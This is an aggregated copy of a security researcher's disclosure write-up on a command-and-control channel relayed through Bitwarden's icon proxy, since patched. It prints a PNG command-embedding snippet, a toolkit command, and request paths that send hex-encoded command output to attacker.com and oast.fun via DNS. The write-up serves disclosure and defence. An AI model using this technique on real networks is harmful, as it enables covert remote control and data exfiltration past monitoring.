{"slug": "bitwarden-icons-bidirectional-c2-channel", "title": "Bitwarden icons bidirectional C2 channel", "summary": "A researcher built a bidirectional command-and-control channel using Bitwarden's icon proxy, embedding commands in PNG metadata and exfiltrating data via DNS to trusted Azure infrastructure. The attack exploits a confused deputy vulnerability (CWE-441) where the proxy fetches arbitrary hostnames without validation, enabling stealthy C2 without direct attacker contact. Bitwarden has since patched the issue in PR #7668.", "body_md": "Visualize the journey, is there anything else out there you can C2 ?\n\nI built a bidirectional C2 channel through Bitwarden's icon proxy. Commands go in via PNG metadata, results come out via DNS, and every byte of traffic goes to `icons.bitwarden.net`\n\n— a legitimate domain on Azure. The agent never touches the attacker's infrastructure directly.\n\nThis is a [data-bouncing](https://thecontractor.io/data-bouncing/) application and a textbook confused deputy (CWE-441).\n\n## What's happening\n\nBitwarden fetches website favicons to display next to vault entries. The icon proxy at `icons.bitwarden.net`\n\ntakes a full hostname — subdomains and all — and proxies the request without stripping or validating any of it.\n\n```\n// libs/common/src/vault/icon/build-cipher-icon.ts:78\nimage = `${iconsServerUrl}/${Utils.getHostname(hostnameUri)}/icon.png`;\n```\n\nThat gives you two channels:\n\n**Commands in** — my server embeds JSON commands in PNG `tEXt`\n\nmetadata chunks. The icon proxy fetches the PNG and passes it through byte-identical, metadata intact. The agent fetches from `icons.bitwarden.net`\n\n, never touching my server.\n\n**Data out** — results get hex-encoded into DNS subdomain labels. When the proxy does its DNS lookup for `{hex-data}.attacker.com`\n\n, my authoritative DNS server receives the encoded data. The lookup comes from Bitwarden's Azure IPs, not the target.\n\nPut them together and you've got full bidirectional C2 through trusted infrastructure. No authentication required. No Bitwarden account needed. The endpoint is public.\n\n## The moving parts\n\n### C2 server\n\nA small HTTP server that generates valid PNGs with commands in `tEXt`\n\nchunks:\n\n``` php\ndef make_c2_png(command: str) -> bytes:\n    # ... standard PNG headers ...\n    c2_data = json.dumps({\"cmd\": command, \"ts\": int(time.time())}).encode()\n    text_chunk = make_png_chunk(b\"tEXt\", b\"Comment\\x00\" + c2_data)\n    return png_sig + ihdr + text_chunk + idat + iend\n```\n\nBitwarden's proxy fetches `/icon.png`\n\nfrom my server, gets a valid image. The metadata rides along.\n\n### Agent\n\nThe agent only ever talks to `icons.bitwarden.net`\n\n:\n\n```\nAgent → HTTPS → icons.bitwarden.net → proxy fetch → attacker server\nAgent ← HTTPS ← icons.bitwarden.net ← PNG + metadata ← attacker server\n```\n\nIt parses the `tEXt`\n\nchunk, extracts the command, runs it, and exfiltrates the result:\n\n```\nAgent → HTTPS → icons.bitwarden.net/{hex-encoded-result}.oast.fun/icon.png\n                    ↓ DNS lookup\n           oast.fun authoritative DNS gets the encoded data\n           from Bitwarden Azure IPs (20.42.70.x, 20.115.49.x, etc.)\n```\n\n### Cache busting\n\nEach poll uses a unique subdomain prefix (`{random}-{session}.{server}`\n\n), forcing the proxy to make a fresh fetch. But here's the thing — existing command PNGs also get cached on Bitwarden's CDN for 7 days. The infrastructure serves your malware for you.\n\n### Metadata passthrough\n\nThe proxy passes PNG metadata through unmodified. I verified this with a polyglot PNG containing commands in all three text chunk types (`tEXt`\n\n, `iTXt`\n\n, `zTXt`\n\n). The SHA256 of the PNG fetched through the proxy matched the original byte-for-byte:\n\n```\n0eca960915eb7ad1c6c6c972e38cb1c734f33b51279af2859bb16dcec7c9bfab\n```\n\n### Polyglot favicons\n\nThe endpoint serves /icon.png, but the proxy doesn't enforce image format or validate content beyond a superficial fetch. At the time of testing, a polyglot file — valid PNG and valid ICO, or valid PNG and valid JavaScript — would pass through intact. The proxy returned whatever bytes the upstream server provided.\n\nThe toolkit (icon_c2.py) demonstrates this with --mode polyglot, embedding the same payload across tEXt, iTXt, and zTXt simultaneously:\n\npython3 icon_c2.py embed --payload '{\"cmd\":\"whoami\"}' --mode polyglot -o cmd.png --verify\n\nBitwarden's fix (PR #7668) ([https://github.com/bitwarden/server/pull/7668](https://github.com/bitwarden/server/pull/7668?ref=thecontractor.io)) does address PNG polyglots fairly well — it reconstructs the file from allowed chunks only, breaks at IEND, and fails closed on malformed input. A PNG/JS polyglot with payload after IEND gets truncated. The metadata chunks are gone.\n\n*not sure about jpeg/BMP\n\n## The demo\n\nI ran this end-to-end against a Windows 11 target. Four stages:\n\n**Verify**— C2 server has`whoami`\n\nqueued in PNG metadata**Proxy**— same command passes through`icons.bitwarden.net`\n\nintact**Execute**— agent on Windows fetches from the proxy, runs the command, exfiltrates`rengy\\agent`\n\nvia DNS**Update**— change command to`ipconfig /all | findstr IPv4`\n\n, agent picks it up, exfiltrates the target's IPv4 address\n\nThe OAST server logged 903 DNS interactions from 115 unique Azure IPs during the demo session alone. Decoded callbacks:\n\n| Tag | Decoded Output |\n|---|---|\n`beacon` |\n`BEACON|final|nt|agent` |\n`r-final` |\n`rengy\\agent` |\n`r-final2` |\n`IPv4 Address. . . : 100.78.11.60(Preferred)` |\n\nAll 115 source IPs resolved to Microsoft Azure. Bitwarden's icon proxy infrastructure doing the work for me.\n\n## It doesn't touch the wallet\n\nThis doesn't compromise vault data. Your passwords are fine. What it does is turn Bitwarden's infrastructure into an unwitting C2 relay, and that matters for a couple of reasons.\n\n### SoC evasion\n\nEvery security operations centre on the planet whitelists `bitwarden.net`\n\n. Trusted domain. Azure. HTTPS. The request pattern looks like normal favicon fetching. A threat analyst looking at network logs sees connections to a password manager's CDN - nice.\n\nThat's the real impact. The icon proxy becomes a trusted channel that bypasses network monitoring, threat detection, and egress filtering. If you've got a foothold on a network you can maintain persistent C2 through infrastructure that defenders actively trust. That should bother people.\n\n### Consumer confidence\n\nWhen your infrastructure can be shown to relay arbitrary commands between an attacker and a target - even if your core product isn't directly affected - it raises questions. People trust Bitwarden with their most sensitive credentials. That trust extends to an assumption that the infrastructure isn't being co-opted as attack infrastructure.\n\nThe icon proxy is public and unauthenticated. No Bitwarden account required. Any process on any network can use it. The barrier to exploitation is effectively zero.\n\n## Disclosure\n\nReported through Bitwarden's security team, who sent me to the HackerOne programme. The submission included the full C2 toolkit, the asciinema recording, three OAST exports totalling nearly 2,000 DNS interactions from Azure IPs, cached command PNGs verifiable on their CDN, and the vulnerable source line.\n\n### The fix\n\nBitwarden merged PR #7668 ([https://github.com/bitwarden/server/pull/7668](https://github.com/bitwarden/server/pull/7668?ref=thecontractor.io)) on 2 June 2026, titled \"Bidirectional C2 in icons.bitwarden.net\". The fix strips PNG metadata by walking the chunk list and only keeping rendering-essential chunks (IHDR, PLTE, IDAT, IEND, tRNS, sRGB, gAMA, cHRM). Everything else — tEXt, iTXt, zTXt — dropped. Same stripping applied to PNG frames embedded inside ICO files. SVG support removed from the proxy entirely, I'm also seeing some heavy defences in fastly (formerly the excellent signal science WAF).\n\nThe PNG chunk walker is solid — it reconstructs the file from allowed chunks only, breaks at IEND, fails closed on malformed input. PNG polyglots with post-IEND payloads get truncated. The tEXt/iTXt/zTXt command channel is closed for PNG.\n\nAre there other images ? BMP, JPEG perhaps ?\n\nAnyway, my findings are now addressed in [https://github.com/bitwarden/server/releases/tag/v2026.6.1](https://github.com/bitwarden/server/releases/tag/v2026.6.1?ref=thecontractor.io)\n\n## Data bouncing\n\nIf you've read my earlier post on [data-bouncing](https://thecontractor.io/data-bouncing/), this is that technique applied to a specific target. The icon proxy is a textbook confused deputy — it acts with its own authority (Azure infrastructure, trusted TLS cert, CDN caching) on behalf of an unauthenticated requester.\n\nThe inbound channel (PNG metadata) and outbound channel (DNS subdomains) are both standard protocol features, not exploits in themselves. The vulnerability is in combining them through an unrestricted proxy on trusted infrastructure.\n\n## Source code\n\nThe full toolkit is published alongside this post, just to help you with the concept and the principle of indirect exfiltration and abuse of architecture in these ways:\n\n** c2_server.py** — HTTP server that embeds JSON commands in PNG\n\n`tEXt`\n\nmetadata. Dynamic command updates via base64-encoded GET requests.** c2_agent.py** — Agent that polls\n\n`icons.bitwarden.net`\n\nfor commands, executes them, exfiltrates results via hex-encoded DNS subdomains. All traffic goes to the icon proxy.** icon_c2.py** — All-in-one toolkit: PNG embedding (text, EXIF, polyglot), DNS exfiltration, proxy fetch testing, OAST data decoding.\n\n## Recommendations\n\nFor anyone running a similar proxy:\n\n**Strip subdomains**— only use the registrable domain (eTLD+1) for icon requests** Re-encode images server-side**— decode pixel data, re-encode a clean PNG, discard everything else. A chunk-type allowlist doesn't protect against polyglots that carry payloads outside PNG structure**Cache by registrable domain**, not full hostname — kills cache-busting via subdomain rotation** Rate limit unique hostnames**per session** Block requests to private IP ranges**\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Discovered and demonstrated end-to-end |\n| 2026-04-21 | Reported via Securtiy team who sent me to HackerOne with full PoC and tooling |\n| 2026-05-18 | First commit on\n|\n\n### Attribution\n\n100% low-balled on attribution. not a mention of my name in any of the fixes. or ... anything. so that's a first. Full bidirectional C2 demonstrated on production infrastructure, with tooling, evidence, and remediation guidance. A low-key fix, buried in a release. - kthnx (haha)\n\nThat's dissapointing.\n\n### Reward\n\nNo.\n\n# Diagrams\n\n### Inbound - Command Delivery\n\n```\nsequenceDiagram\n    participant A as Agent(Target)\n    participant P as icons.bitwarden.net(Azure Proxy)\n    participant C as Attacker Server\n\n    Note over A,P: All agent traffic goes toa trusted Bitwarden domain\n\n    A->>P: HTTPS GET /{rand}-{session}.attacker.com/icon.png\n    activate P\n    P->>C: HTTP GET /icon.png\n    activate C\n    Note right of C: Generate PNG withcommand in tEXt chunk:{\"cmd\":\"whoami\"}\n    C-->>P: 200 OK - valid PNG + tEXt metadata\n    deactivate C\n    Note over P: Passes PNG throughbyte-identical - nometadata stripping\n    P-->>A: 200 OK - PNG (cached on CDN for 7 days)\n    deactivate P\n    Note left of A: Parse tEXt chunk ->extract JSON command ->execute\n```\n\n### Outbound - Data Exfiltration via DNS\n\n```\nsequenceDiagram\n    participant A as Agent(Target)\n    participant P as icons.bitwarden.net(Azure Proxy)\n    participant D as Attacker DNS(oast.fun)\n\n    Note left of A: Command output:\"rengy\\agent\"-> hex-encode ->72656e67795c6167656e74\n\n    A->>P: HTTPS GET /72656e67795c6167656e74.oast.fun/icon.png\n    activate P\n    Note over P: Must resolve hostnamebefore proxying\n    P->>D: DNS A? 72656e67795c6167656e74.oast.fun\n    activate D\n    Note right of D: Authoritative DNS receiveshex-encoded data assubdomain label\n    D-->>P: NXDOMAIN / A record\n    deactivate D\n    Note over P: DNS lookup originated fromAzure IPs (20.42.70.x, etc.)- not from the target\n    P-->>A: 502 / error (doesn't matter - data already exfiltrated)\n    deactivate P\n\n    Note right of D: Decode subdomain ->\"rengy\\agent\"\n```\n\n### Full Bidirectional C2 Loop\n\n```\nsequenceDiagram\n    participant A as Agent\n    participant P as icons.bitwarden.net\n    participant C as C2 Server\n    participant D as Attacker DNS\n\n    Note over A,C: INBOUND - Command Delivery\n    A->>P: GET /{cache-bust}.c2.attacker.com/icon.png\n    P->>C: GET /icon.png\n    C-->>P: PNG with tEXt: {\"cmd\":\"whoami\"}\n    P-->>A: PNG (byte-identical)\n\n    Note over A: Execute: whoami -> \"rengy\\agent\"Hex-encode result\n\n    Note over A,D: OUTBOUND - Data Exfiltration\n    A->>P: GET /72656e67795c6167656e74.oast.fun/icon.png\n    P->>D: DNS lookup: 72656e67795c6167656e74.oast.fun\n    D-->>P: (response irrelevant)\n\n    Note over D: Decode: \"rengy\\agent\"\n\n    Note over A,D: Agent <-> Proxy: trusted HTTPS to bitwarden.netProxy <-> Attacker: invisible to the targetNo direct agent <-> attacker connection\n```\n\n### Trust Boundaries\n\n```\nflowchart LR\n    subgraph target[\"Target Network\"]\n        agent[\"Agent\"]\n    end\n\n    subgraph azure[\"Azure - Trusted Infrastructure\"]\n        proxy[\"icons.bitwarden.net(Icon Proxy)\"]\n        cdn[\"Bitwarden CDN(7-day cache)\"]\n    end\n\n    subgraph attacker[\"Attacker Infrastructure\"]\n        c2[\"C2 Server(PNG + tEXt)\"]\n        dns[\"Authoritative DNS(oast.fun)\"]\n    end\n\n    agent -- \"HTTPS(trusted, whitelisted)\" --> proxy\n    proxy -- \"HTTP fetch(server-side)\" --> c2\n    proxy -- \"DNS lookup(from Azure IPs)\" --> dns\n    proxy -.-> cdn\n    cdn -.-> |\"serves cachedcommand PNGs\"| proxy\n\n    style target fill:#fff,stroke:#cc3333,color:#000\n    style azure fill:#fff,stroke:#2266cc,color:#000\n    style attacker fill:#fff,stroke:#cc3333,color:#000\n```\n\n**SCRATCH**", "url": "https://wpnews.pro/news/bitwarden-icons-bidirectional-c2-channel", "canonical_source": "https://thecontractor.io/bitwarden-c2/", "published_at": "2026-06-24 21:01:21+00:00", "updated_at": "2026-06-24 21:13:43.391892+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure"], "entities": ["Bitwarden", "Azure", "CWE-441", "GitHub"], "alternates": {"html": "https://wpnews.pro/news/bitwarden-icons-bidirectional-c2-channel", "markdown": "https://wpnews.pro/news/bitwarden-icons-bidirectional-c2-channel.md", "text": "https://wpnews.pro/news/bitwarden-icons-bidirectional-c2-channel.txt", "jsonld": "https://wpnews.pro/news/bitwarden-icons-bidirectional-c2-channel.jsonld"}}